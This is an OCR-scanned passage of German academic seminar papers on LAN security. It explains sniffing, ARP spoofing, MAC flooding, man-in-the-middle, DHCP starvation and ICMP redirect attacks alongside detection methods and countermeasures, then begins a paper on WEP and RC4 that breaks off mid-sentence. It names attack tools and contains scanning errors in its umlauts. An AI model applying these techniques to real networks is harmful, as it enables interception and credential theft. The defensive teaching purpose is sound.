Teilnehmer mitzulesen. Im Unterschied zu kabelgebundenen Netzen verwenden Drahtlosnetz-
werke héufig Methoden, um die tibertragenen Daten transparent zu verschliisseln, so dass ein
Angreifer fiir eine funktionierende Uberwachung bereits Teil des verschliisselten Netzwerkes
sein muss.

5.2.2 Wiretapping

Fin weiterer Weg, an Netzwerkpakete heranzukommen, ist, ein beliebiges drahtgebundenes
Netzwerk, zu dem man physikalischen Zugriff hat, sprichwortlich ,,anzuzapfen®. Dieser Vor-
gang wird Wiretapping oder Tapping genannt|Grah00]; bei dem verwendeten Gerit spricht

man von einem TAP-Device (Abbildung/3).
| oo
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Abbildung 3: Abhoren von Netzwerken mit Hilfe eines TAP-Device

Das einfachste denkbare TAP-Device besteht aus einem Netzwerkadapter, dessen Empfangs-
leitungen mit den Sendeleitungen des Kabels verbunden wurden, das iiberwacht werden soll.
Aktuelle Ethernet-Transmitter senden jedoch in regelméfiigen Absténden ein Signal, um zu
iiberpriifen, ob die Gegenseite noch antwortet. Durch das einseitige Verbinden der Kabel
schligt eine solche Uberpriifung fehl und man ist darauf angewiesen, eine antiquierte Karte
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mit AUI-Transceiver zu verwenden. Da es sich bei dieser Methode mehr um einen ,,Hack“
handelt, als um eine verldssliche Analysemethode, ist man mit dem Kauf eines professio-
nellen TAP-Device besser beraten. Diese leiten Netzwerkverkehr transparent weiter, bieten
jedoch die Moglichkeit, eine Kopie an einen angeschlossenen Teilnehmer zu senden. Moderne
Switches verfiigen ebenfalls iiber die Moglichkeit, allen Traffic auf einzelnen Ports zu Uber-
wachungszwecken zu replizieren [3Com].

5.2.3 Vorteile eines TAP-Device

Der Vorteil eines solchen TAP-Device ist, dass es lediglich passiv arbeitet. Benutzt man
es, um ein Netzwerk auf Angriffe und Funktionsstérungen zu untersuchen, bietet es durch
seine Passivitdt nur wenige Angriffspunkte und kann somit nur sehr schwer kompromittiert
werden. Ein Angreifer kann keine Information iiber die Existenz oder den Zustand des Systems
erhalten. Gelingt es andererseits einem Angreifer, ein TAP-Device in einem Netzwerk zu
installieren, ist er durch die Analyse des Netzwerkverkehrs nur sehr schwer aufzuspiiren.

5.2.4 Detektionsmdoglichkeiten

Je nach Umfang der vom Angreifer durchgefithrten Mafinahmen gibt es keine bis mehrere
Moglichkeiten, einen Sniffer im Netzwerk aufzuspiiren. Fiir die meisten dieser Moglichkeiten
gibt es jedoch Gegenmafinahmen der Angreifer, so dass es gelegentlich zu einer Art Wettriisten
zwischen Angreifern und Verteidigern kommt.

e Nameserver-Anfragen: Aktuelle Sniffing-Programme (wie z.b. tcpdump) bieten die Mog-
lichkeit, unter Verwendung der reverse-DNS Funktionalitét statt IP-Adressen Hostna-
men anzuzeigen, um so die Lesbarkeit der Ausgabe zu erhohen. Die hierfiir notwendige
hohe Anzahl an DNS-Anfragen kann am Nameserver detektiert werden. Konfiguriert
man zusétzlich einen Netzteilnehmer mit einer IP-Adresse auflerhalb des Netzwerk-
adressraumes und ldsst man diesen automatisch Netzwerkverkehr generieren, so kann
man eine Anfrage fiir dessen IP-Adresse am Nameserver erkennen und auf den Einsatz
eines Sniffing-Programms schliefen ([Grah00)].

e Latenz des Angreifers: Ist auf einem Computersystem ein Sniffing-Programm installiert,
so wird dieses durch die Analyse des Netzwerkverkehrs und den damit verbundenen
Rechenaufwand eventuell langsamer auf Anfragen aus dem Netzwerk reagieren. Misst
man die Reaktionszeit der angeschlossenen Teilnehmer von einem einzelnen Rechner aus,
z.B. unter Verwendung des IMCP-Protokolls, so kann man aus einer Korrelation von
Netzwerklast und Latenz eines Teilnehmers auf den Einsatz eines Sniffing-Programmes

schlieflen [Russ02].

e Fehlerhafte Software: Bei Fehlern in der Implementierung von Treibern und Netzwerk-
stacks kann man diese teilweise ausnutzen, um zu erkennen, ob ein Host im promiscuous
mode arbeitet. So beschreibt [Russ02], Seite 398f, den Fall eines Ethernet-Treibers, der
auf die Uberpriifung der MAC-Adresse verzichtete, wenn die Karte im promiscuous
mode betrieben wurde. Sendete man ein ICMP echo-request mit der IP-Adresse des
Rechners und einer MAC-Adresse, die sich von seiner eigenen unterschied, ins Netz-
werk, antwortete der Rechner darauf mit einem echo-reply und man konnte darauf
schliefen, dass die Netzwerkkarte im promiscuous mode betrieben wurde.
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5.3 Switches

Alle zuvor beschriebenen Probleme treten auf, weil jeder angeschlossene Rechner alle Daten
in einem Netzwerk empfangen kann und das Filtern der Daten durch die Netzwerkadapter
iibernommen wird. Dadurch ist es fiir einen Angreifer sehr einfach, auf die Daten, die andere
Teilnehmer austauschen, zuzugreifen. Einen Ausweg aus diesem Dilemma scheinen Switches
zu bieten. Sie verhalten sich im Wesentlichen wie Hubs mit dem Unterschied, zu wissen,
welcher Rechner an welchem ihrer Ports angeschlossen ist. So werden einem Rechner neben
arp-request Paketen nur noch Pakete weitergeleitet, die auch fiir ihn bestimmt sind. Ein
Switch besitzt fiir diesen Zweck eine Tabelle, in der fiir jeden Port gespeichert wird, welche
MAC-Adressen iiber diesen Port erreichbar sind. Eine typische Grofie fiir eine solche Tabelle
sind z.B. 2% = 8192 Eintrige bei Switches mit 16 Ports, die Grofe variiert jedoch zwischen
verschiedenen Herstellern und Modellen. Bei kaskadierten Switches werden vom Switch alle
iiber einen Port erreichbaren Adressen in dieser Tabelle gespeichert [Pack].

5.3.1 Cache Poisoning und ARP Spoofing

Geht man von der korrekten Funktionsweise eines Switches aus, eliminiert er die Moglichkei-
ten, Daten mitzulesen, die nicht an die eigene Adresse geschickt werden. Deshalb ist es fiir
einen Angreifer notig, dass alle Pakete, die mitgelesen werden sollen, an ihn selbst adressiert
sind.

Die MAC-Adresse des Zielrechners zu einer bestimmen IP-Adresse speichert jeder Teilnehmer
in einer lokalen MAC-Adresstabelle. Einen Angriff, bei dem die MAC-Tabelle eines entfern-
ten Rechners bewusst mit falschen Informationen infiziert wird, nennt man Cache Poisoning
Attack. Um dem Rest des Netzwerkes vorzutiuschen, dass eine fremde IP-Adresse unter der
eigenen MAC-Adresse zu erreichen ist, gibt es zwei Moglichkeiten:

e Das Beantworten fremder Anfragen: Immer wenn ein Rechner im Netzwerk nach der
Ziel-TP-Adresse fragt, antwortet der Angreifer mit seiner MAC-Adresse. Das muss so
schnell erfolgen, dass die giiltige Antwort des rechtméfligen Inhabers der IP-Adresse ver-
worfen wird. Durch diese Bedingung einer sehr schnellen Antwort ist ein solcher Angriff
sehr schwer durchzufithren. Auflerdem besitzt das ARP-Protokoll eine Schwachstelle,
die kein zeitnahes Antworten auf arp-request Pakete erfordert.

e Die Schwachstelle im ARP-Protokoll: Um die Verwaltung von Netzwerken zu vereinfa-
chen, besteht die Moglichkeit, dass Teilnehmer ihre MAC-Adresse initiativ im Netzwerk
versenden und alle angeschlossenen Rechner ihre MAC-Tabelle aktualisieren. Dieses
Verfahren wird gratious ARP genannt, es findet zum Beispiel Anwendung bei mobilen
Netzwerkgeriten, die so beim Ubergang von einem Netzwerk in ein anderes fiir sie be-
stimmte Daten an einen Stellvertreter im alten Netzwerk umleiten konnen, ohne dass
bestehende Verbindungen hierdurch beeintrichtigt werden. Ein Angreifer filscht nun
ein solches Paket und erreicht so, dass sein Opfer zunéchst die falsche MAC-Adresse
in seine MAC-Tabelle {ibernimmt und anschlieBend Ethernetpakete an den Angreifer
adressiert. Dieser iibertréigt seine MAC-Adresse in regelméfiigen Abstéinden neu, so dass
der Eintrag in der MAC-Tabelle des Opfers stets aktuell ist und das Opfer selbst kei-
ne Anfrage an das Netzwerk richten wird. Bei dem ARP-Paket, das hier zum Einsatz
kommt, handelt es sich um ein gewohnliches arp-reply, wodurch gratious ARP nur durch
zustandsbehaftete Paketfilter zu verhindern ist. Eine detaillierte Beschreibung der Mog-
lichkeiten und ein Programm, um diese zu iiberpriifen bietet das Programm arpspoof
aus dem dsniff-Paket [Song].
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5.3.2 Mac Address Flooding

Fine weitere Schwachstelle der Switches stellen ihre endlichen MAC-Tabellen dar. Wenn ein
Switch fiir eine MAC-Adresse keinen Eintrag in seiner MAC-Tabelle findet, wird er das Paket
an alle angeschlossenen Stationen iibertragen. Anschlieend analysiert er die Antworten und
erfahrt so, iber welchen Port der Adressat zu erreichen ist. Ist die MAC-Tabelle des Switches
bereits voll, so werden alte Eintrige verdrangt und durch den neuen Eintrag iiberschrieben.
Ein Angreifer kann Daten empfangen, die nicht fiir ihn bestimmt sind, wenn es ihm gelingt,
die MAC-Tabellen des Switches mit falschen Informationen zum Uberlaufen zu bringen. Das
erreicht er, in dem er eine grofle Anzahl Pakete an den Switch schickt, die er allesamt selbst
beantwortet. Durch unterschiedliche Absender-MAC-Adressen lauft irgendwann die MAC-
Tabelle des Switches iiber und giiltige Eintrdge werden verdringt. Danach wird der Switch
Pakete anderer Teilnehmer auf der Suche nach deren MAC-Adresse auch an den Angreifer
weiterleiten. Ein Programm, das diese Aufgabe iibernehmen kann ist macof, das sich ebenfalls
im dsniff-Paket befindet [Song].

5.3.3 Detektionsmdglichkeiten: ARPwatch und ARP-Traffic-Analyse

Wenn der Angreifer beide Enden einer Verbindung gleichzeitig attackiert, kann er den gesam-
ten Netzverkehr zwischen den beiden Opfern iiber seinen eigenen Rechner umleiten. Somit
kann er auf einfache Art und Weise mithéren und auch spezielle Arten von weiterfithrenden
Angriffen ausfithren.

Neben den bereits zuvor beschriebenen Moglichkeiten, ein solches Mithoren zu detektieren,
bieten sowohl der Angriff als auch die anschlieende Umleitung des Netzwerkverkehrs wei-
tere Aspekte, an Hand derer man den Angriff erkennen kann. Vor allem der erhéhte und
ungewohnliche ARP-Verkehr wihrend der Angriffsphase wird hierbei analysiert und dient als
Indiz fiir einen solchen Angriff [CaGo03].

5.3.4 Detektion wdhrend eines Angriffs

Um den Angriff zu erkennen, kann man das Netzwerk auf eine iiberméfiig hohe Anzahl von
arp-replys {iberwachen. Auflerdem kann man das Verhéltnis zwischen arp-requests und arp-
replys zu Rate ziehen. Sollte die Menge der Antworten die der Anfragen iiberschreiten, findet
moglicherweise ein ARP-Spoofing Angriff statt. Siehe [CaGo03].

5.3.5 Wenn der Angriff erfolgreich war

War der Angriff erfolgreich, so existieren im Wesentlichen zwei Moglichkeiten der Detektion:

1. Uberwachung der ARP-Tabelle: Mit einer speziellen Software wie z.B. arpwatch [Grou
kann man die Veranderungen an der MAC-Tabelle detektieren und einen Alarm auslo-
sen.

2. Uberwachung der Latenz: Zusitzlich zu der bereits oben beschriebenen Maglichkeit, die
Reaktionszeit einzelner Rechner von einem zentralen Punkt aus zu messen, wird durch
die gleichzeitige Attacke von zwei Rechnern und der damit verbundenen Umlenkung des
Netzwerkverkehrs, auch die Ubertragungsdauer von Datenpaketen zwischen den beiden
Opfern erhoht. Uberwacht ein Teilnehmer die Reaktionszeiten seiner Kommunikations-
partner, kann er bei einer Erhohung dieser vermuten, dass der Datenverkehr {iber einen
dritten Rechner umgeleitet wird [Russ02].
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5.4 Weitere GegenmaBnahmen bei der Verwendung von Switches
5.4.1 Der intelligente Switch

Um den Gefahren eines Angriffes durch Vortduschen und Umlenken von MAC-Adressen vor-
zubeugen, wurden unter Anderem von Cisco [Ou07], 3Com [3Com]|, Hewlett Packard [Pack]
sowie von weiteren namhaften Herstellern im Bereich Netzwerkinfrastruktur in Zusammen-
arbeit mit dem IEEE Technologien entwickelt, mit denen man einzelne Ports eines Switches
genauer konfigurieren und so zum Beispiel die maximale Anzahl von MAC-Adressen pro
Port beschranken kann. Ebenso bieten diese Switches Moglichkeiten der Authentifizierung
auf Schicht 2 (Engl: Layer 2 Authentification) nach dem IEEE-Standard 802.1X [Tony04],
bei denen erst dann Daten gesendet und empfangen werden konnen, wenn sich der Teilneh-
mer zuvor am Switch angemeldet hat. Der Anwender verwendet zur Authentifizierung ein
Hilfsprogramm (Engl: supplicant), der Switch wiederum leitet die Authentifizierungsdaten an
einen speziell hierfiir konfigurierten Server weiter, der in der Regel die Authentifizierungssoft-
ware radius (,Remote Authentication Dial In User Service®) ausfithrt und die Authentizitéit
des Benutzers iiberpriift. Anschlieend erhélt der Benutzer vom Switch Zugang zum loka-
len Netzwerk [Stra04]. Authentifizierung nach Standard 802.1X kann ebenso zum Schutz von
Drahtlosnetzwerken verwendet werden.

Dariiber hinaus gibt es Bestrebungen, durch eine Integration der oben erwidhnten Erken-
nungsmafinahmen in die Firmware von Switches, diese eigenstéindig erkennen zu lassen, ob

ein Angriff stattfindet [CaGo03].

5.4.2 Stateful ARP

Um das Einbringen falscher Information in die MAC-Tabelle eines Opfers zu verhindern,
besteht die Moglichkeit, zustandsbehaftetes ARP (Engl: stateful ARP) zu implementieren
CaGo03]. Hierbei werden nur Antworten (arp-reply) akzeptiert, fiir die zuvor eine Anfrage
(arp-request) versendet wurde. Dadurch kann das Risiko eines erfolgreichen Angriffs ver-
ringert, jedoch nicht génzlich ausgeschlossen werden, denn ein Angreifer kann durchaus im
richtigen Moment eine gefilschte Antwort, auf eine korrekte Anfrage schicken.

5.4.3 Promiscuous Mode verbieten

Wenn Computersysteme in virtuellen Umgebungen ausgefithrt werden, kann man unter Um-
stdnden verhindern, dass ein Netzwerkadapter in den promiscuous mode geschaltet wird.
VMware zum Beispiel gibt beim Versuch, mit einem virtuellen Angreifer Netzwerkverkehr
mitzuhoren, folgende Fehlermeldung aus:

The virtual machine’s operating system has attempted to enable promiscuous
mode on adapter EthernetO. This is not allowed for security reasons. Please
go to the Web page http://www.vmware.com/info?id=161 for help enabling
promiscuous mode in the virtual machine.

5.4.4 Eine aufwendige aber effektive Methode: Static ARP

Als eine der letzten Moglichkeiten bleibt die statische Zuweisung von MAC-Adressen zu IP-
Adressen und somit die manuelle Verwaltung der MAC-Tabellen der beteiligten Rechner.
Auf Grund des hohen Aufwandes und der geringen Flexibilitdt stellt dieses Verfahren nur
dann eine Alternative zur dynamischen Verwaltung dar, wenn es sich um sicherheitskritische
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Kerninfrastrukturen handelt, die aus wenigen Teilnehmern bestehen und deren Konfiguration
sich zudem selten dndert. Allenfalls in unsicheren Umgebungen kann man die MAC-Adresse

eines Gateways manuell eintragen, um somit die Sicherheit vor den oben beschriebenen An-
griffen zu erhchen [Russ02].

6 Folgen und Nutzen eines Angriffs

In diesem Abschnitt wird ndher auf den Nutzen der oben beschrieben Methoden und Angriffe
eingegangen. Das blofle Mithéren kann zwar auch schon von eigenstéindigem Nutzen sein,
jedoch wird ein Angreifer die aufgezeichneten Daten in der Regel weiter analysieren und fiir
weitere Angriffe auf die Sicherheit eines Netzwerkes verwenden.

6.1 DoS

Als Denial-of-Service-Angriff bezeichnet man eine Attacke, die das Ziel verfolgt, die Erreich-
barkeit eines Dienstes einzuschrinken. Hierzu kann entweder die Kommunikation zum dienst-
gebenden Opfer gestort werden, oder das Opfer selbst gezwungen werden, den Dienst ein-
zustellen. Um dies zu erreichen, wird zunéchst durch Sniffing die Adresse des Teilnehmers
ermittelt, der den Zieldienst ausfiihrt. Anschliefend werden durch Spoofing der MAC-Adresse
analog zum in 5.3.1 beschriebenen Verfahren, die MAC-Tabellen der Dienstnehmer korrum-
piert - Anfragen an den Dienstgeber konnen nicht mehr korrekt iibertragen werden. Alterna-
tiv kann auch die MAC-Tabelle des dienstgebenden Rechners selbst infiziert werden, so dass
Anfragen zwar korrekt iibermittelt werden, jedoch keine Antworten mehr versendet werden
konnen.

6.2 Vulnerabilitat gebrauchlicher Protokolle

Hat man durch eine der oben beschriebenen Methoden Zugriff auf Netzwerkverkehr, kann
man diesen zum Beispiel nach Zugangsdaten fiir verschiedene Dienste durchsuchen. Dies ist
vor allem der Tatsache geschuldet, dass selbst heutzutage noch hiufig Protokolle zum Einsatz
kommen, die sensitive Informationen unverschliisselt iibertragen. Lohnende Angriffe sind des-
halb vor allem auf folgende Protokolle erfolgversprechend, da hier in der Regel Benutzername
und Passwort im Klartext {ibertragen werden:

e File Transfer Protocol (FTP) zur Ubertragung von Dateien [PoRe85]
e Telnet zur Wartung und Steuerung von Rechnern via Netzwerkzugriff
e Hyper Text Transfer Protocol (HTTP) zur Ubertragung von Webseiten [FGMF*+99]

e Post Office Protocol (POP) und Internet Mail Access Protocol (IMAP) zum Abrufen
von eMail-Nachrichten [MyRo096, Cris03]

Es empfiehlt sich, zur Ubertragung sensitiver Informationen auf diese Protokolle zu verzich-
ten und stattdessen auf Alternativen zuriickzugreifen, die eine Verschliisselung der Daten
anbieten.
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6.3 MitM

Hat ein Angreifer erst — wie in 5.3.1 beschrieben — den Netzwerkverkehr zwischen zwei Teil-
nehmern iiber den eigenen Rechner umgeleitet, so kann er durch einen Man in the Middle
Angriff auch hoherliegende Schichten im ISO/OSI-Modell kompromittieren. Dies gelingt durch
ein zweiseitiges Spoofing: Dem Client gegeniiber wird die Identitét des Servers angenommen
und umgekehrt. Die Informationen, die hierfiir benétigt werden, gewinnt ein Angreifer mit-
unter aus dem Datenverkehr selbst. So kann er sich z.B. gegeniiber dem Server erst dann
als Client ausgeben, nachdem er selbst das benttigte Passwort vom Client erhalten hat. Ein
solcher Angriff bietet die Moglichkeit, auf Anwendungsebene Information zu lesen sowie zu
verfilschen. Durch die Moéglichkeit, den Datenverkehr inklusive des Verbindungsaufbaus zu
analysieren und zu verdndern bietet sich einem Angreifer insbesondere die Moglichkeit, Ver-
schliisselungsverfahren, die von Client und Server eingesetzt werden, zu umgehen. Hierbei
wird der Angreifer eine verschliisselte Verbindung jeweils zu Client und Server errichten.
Zwischen den beiden Verbindungen wird er die mitgelesenen Daten einsehen kénnen. Dieser
Zusammenhang wird in Abbildung 4 veranschaulicht.

unverschllUsselter Zugriff
im Angreifer
Anne Bernd
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verschlisselte Kommunikation

Abbildung 4: Entschliisseln von Kommunikation bei einem MitM Angriff

Die Authentifizierung des Servers wird jedoch haufig mit Verfahren erfolgen, fiir die der An-
greifer dem Client ein gefilschtes Sicherheitszertifikat priasentieren muss. Der Anwender kann
dieses Zertifikat erkennen und einen weiteren Verbindungsaufbau ablehnen. Somit bedarf es
der Unachtsamkeit und der aktiven Mithilfe des Opfers, um einen solchen Angriff auszufiihren.
Zu den Protokollen, die zwar Daten verschliisseln aber auf diese Art und Weise kompromittiert
werden konnen, zahlen unter anderem:

e SSH / SFTP werden zum sicheren Ubertragen von Dateien verwendet.

e HTTPS / IMAPS / POPS ersetzen die entsprechenden unverschliisselten Protokolle,
indem sie sie durch den Einsatz des Secure Socket Layer Protokolls (SSL) ergéinzen.

Aus diesen Griinden ist es besonders wichtig, sorgfiltig auf die Korrektheit von Sicherheits-
zertifikaten zu achten.
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7 Weitere Angriffsmoglichkeiten

Die folgenden Angriffsmoglichkeiten stellen zumeist Kombinationen aus Sniffing und Spoofing
sowie weiteren Techniken dar.

7.1 DHCP Starvation

Bei diesem Angriff wird versucht, alle Adressen, die ein DHCP-Server vergeben kann, zu re-
servieren. Anschlieflend beantwortet der Angreifer selbst alle DHCP-Anfragen aus dem Netz-
werk, iibertriagt hierbei jedoch seine eigene IP-Adresse als Standardgateway und Nameserver.
Anschliefend kann er so den Verkehr des Netzwerkes umleiten und mithéren bzw. weitere
MitM Angriffe ausfiihren [Ou07].

Ein Angriff, bei dem der Angreifer als DNS-Server auftritt und so den Verkehr durch fingierte
Antworten umleitet, heiflit auch DNS Spoofing Attack.

7.2 ICMP Redirection

In Netzwerken kommt es durch ungiinstige Konfigurationen mitunter zu Fehlentscheidungen
bei der Wegewahl und dadurch zu Umwegen. Empfingt ein Teilnehmer A ein Paket, das
nicht fiir ihn bestimmt ist, so ermittelt er an Hand der eigenen Routingtabelle den néchsten
Rechner, an den das Paket iibertragen werden soll. Stellt er hierbei fest, dass sich dieser
im gleichen Netzwerksegment befindet, so kann er dem Absender mitteilen, seine Pakete in
Zukunft direkt an den Gateway G zu schicken. Hierfiir wird ein icmp-redirect Paket versendet,
das die benétigte Information enthélt und dem Absender mitteilt, seine eigene Routingtabelle
zu erginzen. Der prinzipielle Ablauf eines solchen Angriffes wird in Abbildung 5] verdeutlicht.

7.2.1 Beispiel

Im folgenden Beispiel teilt Rechner .14 seinem Nachbarn .16 mit, dass die IP-Adresse, die
zum Host ,, google.de* gehort, einfacher iiber den Gateway .1 zu erreichen ist.

12:38:18.008750 IP 192.168.1.14 > 192.168.1.16: ICMP redirect
209.85.129.104 to host 192.168.1.1, length 92

ICMP-Redirect kann neben der Vermeidung von Umwegen in der Wegewahl auch zur Er-
richtung kiinstlicher Umleitungen eingesetzt werden. Somit kann ein Angreifer Datenverkehr
iiber seine eigene Netzwerkschnittstelle umleiten.

7.3 IP Spoofing

Um im obigen Beispiel zum Ziel zu kommen ist es unter Umstéinden notwendig, die Absen-
deradresse des urspriinglichen Empfangers zu spoofen, weil z.B. Windows 2000 versucht, sich
gegen diese Art von Angriff zu schiitzen, indem es icmp-redirect Pakete nur vom demjenigen
Rechner annimmt, an den es das Paket laut seiner Routingtabelle gesendet hat [t0700]. Neben
diesem einfachen Beispiel von IP Spoofing existieren weitere Anwendungsfille, insbesondere
dann, wenn auf die IP Adresse eines Rechners als Authentifizierungsmerkmal vertraut wird,
was heute seltener der Fall ist als friiher.
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Abbildung 5: Paket 1 wird noch an B weitergeleitet, gleichzeitig wird A mit Paket 2 mitgeteilt,
dass B direkt zu erreichen ist. Paket 3 wird anschliefend direkt an B gesendet.

8 Fazit

Was bleibt also zu tun, um sich wirksam gegen Angriffe auf den unteren Netzwerkschichten
abzusichern? Zunéchst beschréinken sich solche Angriffe in der Regel auf das lokale Netzwerk —
hier sind Uberwachungs und Schutzmechanismen zu implementieren. Je nach Art und Zweck
des Netzwerkes bestehen verschiedene Moglichkeiten des Vorsorge:

e Sogenannte Carrier — Betreiber grofler Netzwerke, deren alleinige Aufgabe der Daten-
austausch und -transport ist — sowie Provider, die Internetzugénge bereitstellen, haben
die Aufgabe, ihre Netzwerke vor derartigen Angriffen physisch zu schiitzen. Ein An-
greifer darf keinerlei direkten, unberechtigten Zugriff auf fremde Daten erhalten. Vor
allem bei Providern, deren Kunden mit Hilfe sogenannter Kabelmodem iiber TV-Kabel
mit dem Providernetzwerk verbunden sind, werden in der Regel alle ARP-Requests ei-
nes Netzwerksegments von allen angeschlossenen Kunden empfangen [Grah00]. Dieses
Verhalten lésst sich z.B. an einem Internetanschluss von KabelBW beobachten.

e Das lokale Netzwerk — Ressort des lokalen Netzwerkadministrators. Er sollte mit An-
greifern im lokalen Netzwerk rechnen und kann durch die oben genannten Mafinahmen
versuchen, einen erfolgreichen Angriff zu verhindern. Er sollte auflerdem Methoden im-
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plementieren, mit denen ein Angriff frithzeitig erkannt werden kann um rechtzeitig Ge-
genmafinahmen ergreifen zu kénnen. Hierzu gehoren insbesondere das Mithoren und die
sorgfaltige Analyse des Netzwerkverkehrs, z.B. mit einem Intrusion Detection System
(IDS).

Zuséatzlich gehort es jedoch auch zu den Pflichten der Netzverwaltung, die Anwender
iitber mogliche Gefahren zu informieren und geeignete Schutzmechanismen wie Ver-
schliisselung auf Anwendungsebene vorzuschlagen und iiber die Gefahren solcher zu
informieren.

e Als Anwender hat man die Moglichkeit, durch Verschliisselung und Aufmerksamkeit
beim Umgang mit dem Computer das Risiko einer Kompromittierung zu minimieren.
Sind Daten verschliisselt und mdoglicherweise noch digital signiert, so kann sich ein Be-
nutzer zum einen der Identitidt der Gegenseite sicher sein, zum anderen kann ein Angrei-
fer selbst mit Zugriff auf den kompletten Datenverkehr einer Sitzung nichts ausrichten.
Wirkungsvolle Verschliisselung schliefit immer auch Sorgfalt der Anwender mit ein - ak-
zeptiert ein Anwender zum Beispiel ein gefélschtes SSL-Zertifikat, kann er nicht weiter
von einer gesicherten Kommunikation ausgehen. Hier liegt eine besondere Gefahr fiir
die Sicherheit der Anwender: oft werden Warnungen und Informationen als unwichtig
abgetan und ,,weggeklickt®.

Es ist sehr erstaunlich, dass heutzutage immer noch solch grofie Probleme mit der Netzsicher-
heit existieren, und diese zudem wenig Aufsehen erregen. Auflerdem ist es bemerkenswert,
dass von einem gemeinsamen Kabel in Ethernet-Netzwerken ein vielfaches an Sicherheitsrisi-
ken ausgeht, als von Switchinglosungen.
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Wireless Security: WEP, WPA, 802.11i

Fedi El Arbi

WLAN-Netzwerke erfreuen sich steigender Popularitéit, da sie den Benutzern Fle-
xibilitédt und Mobilitdt verleihen. Ein WLAN-Netz ist aber leichter anzugreifen
als ein normales LAN, da es im Gegensatz zum normalen LAN ortlich schwer
zu begrenzen ist, was zu der Definition von WLAN-spezifischen Sicherheitslosun-
gen gefiihrt hat. In dieser Arbeit werde ich das WLAN-Verschliisselungsprotokoll
WEP behandeln und seine Schwachstellen erkléren. RC4, der von WEP benutzten
Verschliisselungsalgorithmus, wird auch behandelt und diskutiert. Manche WEP-
orientierte direkte Schliissel-Attacken werden vorgestellt. RSN und WPA, die in
dem TEEE802.11i Standard spezifiziert wurden, werde ich als Nachfolger von WEP
auch vorstellen und es wird erklért, wie sie die Sicherheitsprobleme von WEP
beseitigen. Die Zugriffskontrolle und IEEE802.1X werden behandelt, sowie die
Schliisselhierarchie und die Verschliisselungsverfahren bei WPA und RSN.

1 Einleitung

Wireless LANs sind drahtlose Netzwerke, die in dem ITEEE802.11 spezifiziert wurden. In
diesen Netzen werden die Nachrichten per Funkwellen iibertragen. Ein WLAN-Netzwerk hat
2 mogliche Organisationsmodi: im Infrastrukturmodus ist ein Access Point (AP) erforderlich.
Er koordiniert die Nachrichteniibertragung zwischen sédmtlichen Knoten im Netz. Im Ad-hoc-
Modus sind die Knoten direkt miteinander verbunden und ein AP ist nicht erforderlich. Es
wird hier nur der Infrastrukturmodus behandelt.

Da die Pakete per Funkwellen iibertragen werden, kann sie jeder, der sich in der Reichweite
des APs befindet, abfangen. Deswegen wurden Verschliisselungsprotokolle definiert, um zu
verhindern, dass die Pakete auch von unzugelassenen Geréten richtig interpretiert werden
konnen. WEP ist eins von diesen Protokollen.

2 WEP

WEP steht fiir ,Wired Equivalent Privacy” und ist das von IEEE802.11 urspriinglich vor-
gesehene Verschliisselungsprotokoll fiir WLAN-Netzwerke. Er gewéihrt dem drahtlosen Netz
Schutz gegen Angriffe, indem die Pakete verschliisselt werden. WEP hat folgende Vorteile:

e Es ist schwer, den WEP-Schliissel mit Brute Force Angriffen herauszukriegen weil der
Schliissel geniigend lang ist (40 oder 104 Bit).

e WEP ist selbstsynchronisierend.

e WEP ist effizient und Ressourcenschonend.
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2.1 Authentifikation bei WEP

Um die Erlaubnis zu erhalten, im Netz Daten zu senden, muss ein mobiles Gerét sich vom
AP authentifizieren lassen. Bei der Authentifikation geht es darum, die Identitdt der Geréte
zu erfahren, die sich mit dem AP assoziieren wollen. In einem LAN hat jedes Gerit eine
eindeutige MAC-Adresse, was als Signatur im Netz gilt. Nur wenn das Gerét erfolgreich
authentifiziert wird, betrachtet der AP seine MAC-Adresse als richtig.

Bei einer offenen Authentifikation schickt das mobile Gerét eine Authenticate-Request-
Nachricht an den AP und der AP antwortet dann mit einer Authenticate-Success wenn der
Netzwerkname (ESSID) bei dem mobilen Gerét und beim AP iibereinstimmt, und schon ist
die Authentifikationsphase zu Ende. Die Nachrichten werden unverschliisselt iibertragen.

Bei einer WEP-Authentifikation kommen noch zwei Etappen dazu: Zuerst schickt das mobile
Gerét eine Authenticate-Request. Der AP antwortet mit einer Challenge-Nachricht, die einen
Challenge-Text enthélt. Der Challenge-Text ist eine vom AP zufillig erzeugte verschliisselte
128 Bit lange Nummer. Bekommt der AP eine Autheticate-Response, die den richtigen ent-
schliisselten Klartext enthalten muss, antwortet er mit einer Authenticate-Success und nur
nachdem das Geréte diese Nachricht erhélt darf es mit den anderen Knoten im Netz kommu-
nizieren. Das Ziel dieser Authentifikationsmethode ist zu beweisen, dass das Geréit vertrau-
enswiirdig ist, indem das Gerdt den Challenge-Text mit dem WEP-Schliissel entschliisselt
und den urspriinglichen Klartext zum AP schickt, was bedeuten wiirde, dass das Gerit den
Schliissel kennt.

In der Praxis wird im AP eine Liste von den giiltigen MAC-Adressen gespeichert und es
werden nur Geréte mit einer Giiltigen MAC-Adresse im Netz zugelassen.

Offene Authentifikation WEP-Authentifikation

Client

Authenticate-Request
Authenticate-Request > AP Client <Authentica’te—ChaIIenge
Authenticate-Success Authenticate-Response»
< Authenticate-Success

[t

AP

Abbildung 1: Authentifikation im IEEE 802.11 [EdAr03]

2.2 RC4-Algorithmus

RC4 ist eine Stromchiffre. Die Idee hinter einer Stromchiffre ist eine pseudozufillige Sequenz
von Bits, den so genannten Key Stream, zu generieren und die Daten damit zu verschliisseln.
RC4 wird von WEP fiir die Verschliisselung von Paketen benutzt. Fiir die Verschliisselung wird
bei RC4 der XOR-Operator (00) eingesetzt. Dieser Algorithmus ist einfach zu implementieren
und benutzt keine aufwindigen Operatoren wie die Multiplikation.

Der RC4-Algorithmus ist symmetrisch, das heifit, man entschliisselt einen verschliisselten Text
in dem man ihn wieder verschliisselt: Eine wichtige Eigenschaft von XOR ist es, dass man
den urspriinglichen Wert wieder erhilt. wenn man XOR zwei mal anwendet, das heifit A O
B =C o C OB = A. Der verschliisselte Text ist das Ergebnis der Operation Klartext [J
Key Stream. Die Formel fiir die Entschliisselung lautet: Verschliisselter Text [1 Key Stream
= Klartext. Es ist wichtig dass der Key Stream fiir einen auflen stehenden Beobachter total
zufillig aussieht, was von RC4 geleistet ist.

Der RC4-Algorithmus besteht aus zwei Phasen: die Schliissel-erzeugung und die pseudozu-
fillige Generierung. Bei der ersten Phase wird ein 256 Byte grofler Array erzeugt, in dem er
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mit einer Permutation der Zahlen 0 bis 255 ausgefiillt wird. Alle Zahlen von 0 bis 255 sind
im Array zu finden, der Array ist aber nicht sortiert. Diesen Array nennt man die S-Box. Die
S-Box wird zuerst mit den Zahlen 0 bis 255 aufsteigend sortiert inizialisiert. Dann kommt ein
